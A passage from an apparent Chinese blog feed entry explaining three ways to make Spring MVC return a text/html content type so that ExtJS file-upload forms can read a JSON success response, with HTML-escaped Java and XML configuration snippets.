&lt;p&gt;现在，ExtJS不会报错了，也成功触发了Form的success事件，但是服务器端又报错了，说是无法找到”upload.jsp”，其实我请求的是”upload.action”，而且也成功响应了，但是不知道为什么，Spring貌似是将”action”替换成”jsp”又转发跳转了一下，百度谷歌无解！&lt;br /&gt;
其实，最最主要的就是能够将response的ContextType设置为“text/xml”就没问题了。参考Spring的文档找到解决办法如下：&lt;br /&gt;
方法一：&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
6
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;java&quot; style=&quot;font-family:monospace;&quot;&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;public&lt;/span&gt; ResponseEntity&lt;span style=&quot;color: #339933;&quot;&gt;&amp;lt;&lt;/span&gt;String&lt;span style=&quot;color: #339933;&quot;&gt;&amp;gt;&lt;/span&gt; upload&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;UserVO userVO&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
	&lt;span style=&quot;color: #003399;&quot;&gt;String&lt;/span&gt; json &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;&amp;quot;{success: true}&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
	HttpHeaders responseHeaders &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;new&lt;/span&gt; HttpHeaders&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
	responseHeaders.&lt;span style=&quot;color: #006633;&quot;&gt;setContentType&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;MediaType.&lt;span style=&quot;color: #006633;&quot;&gt;TEXT_HTML&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
	&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;new&lt;/span&gt; ResponseEntity&lt;span style=&quot;color: #339933;&quot;&gt;&amp;lt;&lt;/span&gt;String&lt;span style=&quot;color: #339933;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;json, responseHeaders, HttpStatus.&lt;span style=&quot;color: #006633;&quot;&gt;OK&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;方法二：&lt;br /&gt;
先在messageConverters中配置StringHttpMessageConverter：&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
6
7
8
9
10
11
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;xml&quot; style=&quot;font-family:monospace;&quot;&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;&amp;lt;bean&lt;/span&gt; &lt;span style=&quot;color: #000066;&quot;&gt;class&lt;/span&gt;=&lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;quot;org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style=&quot;color: #009900;&quot;&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;&amp;lt;bean&lt;/span&gt; &lt;span style=&quot;color: #000066;&quot;&gt;class&lt;/span&gt;=&lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;quot;org.springframework.web.bind.support.ConfigurableWebBindingInitializer&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
	&lt;span style=&quot;color: #009900;&quot;&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;&amp;lt;/property&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
	&lt;span style=&quot;color: #009900;&quot;&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;&amp;lt;property&lt;/span&gt; &lt;span style=&quot;color: #000066;&quot;&gt;name&lt;/span&gt;=&lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;quot;messageConverters&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style=&quot;color: #009900;&quot;&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;&amp;lt;list&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
			&lt;span style=&quot;color: #009900;&quot;&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;&amp;lt;bean&lt;/span&gt; class = &lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;quot;org.springframework.http.converter.StringHttpMessageConverter&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt; 
				&lt;span style=&quot;color: #009900;&quot;&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;&amp;lt;property&lt;/span&gt; &lt;span style=&quot;color: #000066;&quot;&gt;name&lt;/span&gt;=&lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;quot;supportedMediaTypes&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #000066;&quot;&gt;value&lt;/span&gt;=&lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;quot;text/html;charset=UTF-8&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt; 
			&lt;span style=&quot;color: #009900;&quot;&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;&amp;lt;/bean&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style=&quot;color: #009900;&quot;&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;&amp;lt;/list&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
	&lt;span style=&quot;color: #009900;&quot;&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;&amp;lt;/property&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;color: #009900;&quot;&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;&amp;lt;/bean&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;然后在这样就OK了（注意：方法的返回类型必须是String）：&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;java&quot; style=&quot;font-family:monospace;&quot;&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;public&lt;/span&gt; @ResponseBody &lt;span style=&quot;color: #003399;&quot;&gt;String&lt;/span&gt; upload&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;UserVO userVO&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
	&lt;span style=&quot;color: #003399;&quot;&gt;String&lt;/span&gt; json &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;&amp;quot;{success: true}&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
	&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;return&lt;/span&gt; json&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;参考文档：http://static.springsource.org/spring/docs/3.0.x/spring-framework-reference/html/mvc.html&lt;br /&gt;
再补充一个可行的方法三：&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
6
7
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;java&quot; style=&quot;font-family:monospace;&quot;&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;void&lt;/span&gt; upload&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;HttpServletResponse response, UserVO userVO&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
		Map&lt;span style=&quot;color: #339933;&quot;&gt;&amp;lt;&lt;/span&gt;String, Object&lt;span style=&quot;color: #339933;&quot;&gt;&amp;gt;&lt;/span&gt; result &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;new&lt;/span&gt; HashMap&lt;span style=&quot;color: #339933;&quot;&gt;&amp;lt;&lt;/span&gt;String, Object&lt;span style=&quot;color: #339933;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #cc66cc;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
		result.&lt;span style=&quot;color: #006633;&quot;&gt;put&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;&amp;quot;success&amp;quot;&lt;/span&gt;, &lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
		response.&lt;span style=&quot;color: #006633;&quot;&gt;setContentType&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;&amp;quot;text/html&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
		ObjectMapper mapper &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;new&lt;/span&gt; ObjectMapper&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
		mapper.&lt;span style=&quot;color: #006633;&quot;&gt;writeValue&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;response.&lt;span style=&quot;color: #006633;&quot;&gt;getOutputStream&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;, result&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;问题解决了，但是还是不知道到底是哪出现的pre标签。&lt;/p&gt;
&lt;table class=&quot;wumii-related-items&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot; border=&quot;0&quot;  style=&quot;clear: both;&quot;&gt;
    
    &lt;tr&gt;
        &lt;td colspan=&quot;5&quot;&gt;&lt;b&gt;&lt;font size=&quot;-1&quot;  style=&quot;display: block !important; padding: 20px 0 5px !important;&quot;&gt;您可能也喜欢：&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    
        &lt;tr&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;Spring MVC 文件上传&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1124%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1414%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/05/12/8522888.png&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;Spring MVC 文件上传&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;Spring MVC+Hibernate自动注入sessionFactory&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1262%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1414%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;Spring MVC+Hibernate自动注入sessionFactory&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;Spring MVC&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1117%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1414%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/05/12/8522888.png&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;Spring MVC&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;Spring中Bean的作用域&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F846%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1414%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;Spring中Bean的作用域&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;Spring依赖注入&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F843%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1414%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;Spring依赖注入&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
        &lt;/tr&gt;
    
    &lt;tr&gt;
        &lt;td colspan=&quot;5&quot; align=&quot;right&quot;&gt;
            &lt;a style=&quot;text-decoration: none !important;&quot; href=&quot;http://www.wumii.com/widget/relatedItems.htm&quot; target=&quot;_blank&quot; title=&quot;无觅相关文章插件&quot;&gt;
                &lt;font size=&quot;-1&quot; color=&quot;#bbbbbb&quot; style=&quot;display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;&quot;&gt;无觅&lt;/font&gt;
            &lt;/a&gt;
        &lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/593716107/Neekesblog_k9wg/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/Neekesblog_k9wg/~8023345/593716107/5077616/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;</content:encoded><wfw:commentRss>http://www.ineeke.com/archives/1414/feed/</wfw:commentRss><slash:comments>6</slash:comments><description>做文件上传的时候遇到点麻烦，ExtJS上传文件要求服务器端返回的ContentType是“text/html”，而Spring MVC默认返回的是“application/json”，于是ExtJS这边总是报错说无法将”&amp;#60;pre&amp;#62;{success: true}&amp;#60;/pre&amp;#62;”转换成JSON，很奇怪的一件事就是：为什么会出现pre标签呢？ 先看看当前服务器端的代码： 1 2 3 4 5 6 7 8 public @ResponseBody Map&amp;#60;String, Object&amp;#62; upload&amp;#40;UserVO userVO&amp;#41;&amp;#123; Map&amp;#60;String, Object&amp;#62; modelMap = new HashMap&amp;#60;String, Object&amp;#62;&amp;#40;&amp;#41;; if&amp;#40;!userVO.getUserPhoto&amp;#40;&amp;#41;.isEmpty&amp;#40;&amp;#41;&amp;#41;&amp;#123; userVO.getUserPhoto&amp;#40;&amp;#41;.transferTo&amp;#40;new File&amp;#40;&amp;#34;文件存放路径&amp;#34;&amp;#41;&amp;#41;; &amp;#125; modelMap.put&amp;#40;&amp;#34;success&amp;#34;, true&amp;#41;; return modelMap; &amp;#125; 用上面这种方式处理的时候，文件上传了成功了，但是就会出现文章开头所描述的问题，于是我改成这样： 1 2 3 4 5 6 public void upload&amp;#40;UserVO userVO, HttpServletResponse response&amp;#41;&amp;#123; String json = &amp;#34;{success: true}&amp;#34;; response.setContentType&amp;#40;&amp;#34;text/html&amp;#34;&amp;#41;; response.getWriter&amp;#40;&amp;#41;.write&amp;#40;json&amp;#41;; response.flushBuffer&amp;#40;&amp;#41;; [...]&lt;table class=&quot;wumii-related-items&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot; border=&quot;0&quot;  style=&quot;clear: both;&quot;&gt;
    
    &lt;tr&gt;
        &lt;td colspan=&quot;5&quot;&gt;&lt;b&gt;&lt;font size=&quot;-1&quot;  style=&quot;display: block !important; padding: 20px 0 5px !important;&quot;&gt;您可能也喜欢：&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    
        &lt;tr&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;Spring MVC 文件上传&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1124%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1414%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/05/12/8522888.png&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;Spring MVC 文件上传&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;Spring MVC+Hibernate自动注入sessionFactory&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1262%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1414%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;Spring MVC+Hibernate自动注入sessionFactory&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;Spring MVC&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1117%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1414%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/05/12/8522888.png&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;Spring MVC&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;Spring中Bean的作用域&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F846%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1414%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;Spring中Bean的作用域&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;Spring依赖注入&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F843%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1414%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;Spring依赖注入&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
        &lt;/tr&gt;
    
    &lt;tr&gt;
        &lt;td colspan=&quot;5&quot; align=&quot;right&quot;&gt;
            &lt;a style=&quot;text-decoration: none !important;&quot; href=&quot;http://www.wumii.com/widget/relatedItems.htm&quot; target=&quot;_blank&quot; title=&quot;无觅相关文章插件&quot;&gt;
                &lt;font size=&quot;-1&quot; color=&quot;#bbbbbb&quot; style=&quot;display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;&quot;&gt;无觅&lt;/font&gt;
            &lt;/a&gt;
        &lt;/td&gt;
    &lt;/tr&gt;
